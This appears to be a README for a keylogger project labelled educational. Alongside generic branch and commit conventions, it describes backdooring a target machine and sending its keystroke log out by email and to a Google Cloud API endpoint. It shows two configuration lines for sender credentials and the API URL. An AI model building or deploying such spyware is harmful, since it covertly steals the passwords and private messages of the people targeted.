This is an educational project that sends target machine's key press log to a cloud server by creating a backdoor.
- Make sure your branch is
dev
and sync with the remote branch. - Create a new branch from the
dev
branch before start working on a new issue - Publish your branch
- When all the commits are ready for publishing, Create a Pull Request to the
dev
branch - Make sure you are pulling 'from' your branch and pulling 'into'
dev
or immediate upstream branch - Make sure to use the PULL request template with title and the description with your changes. (detailed)
- Review changes and Merge
<type>[optional scope]:<description>
style: update navbar hamburger drop down styles
- feat - Features - A new feature
- fix - Bug Fixes - A bug Fix
- docs - Documentation - Documentation only changes
- style - Styles - Changes that do not affect the meaning of the code
- refactor - Code Refactoring - A code change that neither fixes a bug nor adds a feature
- perf - Performance, Improvements - A code change that improves performance
- test - Tests - Addming missing tests or correcting existing tests
- build - Builds - Changes that affect the build system or external dependencies
- ci - Continuous Intergrations - Changes to our CI configuration files ans scripts
- chore - Chores Other changes that don't modify src or test files
- revert - Reverts Reverts a previous commit
In the current version,
Once the target user is affected by the script it sends us an email of its key log at a time interval which can edit from inside the script file.
keylogger = Keylogger([TIME_INTERVAL_GOES_HERE], "[YOUR_EMAIL_HERE]", "[EMAIL_PASSWORD_HERE]")
It also creates an API request to an endpoint created in a google cloud instance. G-Cloud DNS helps us to resolve the domain name to the instance IP address.
API URL can be edited inside the script file.
url = "[API_URL]"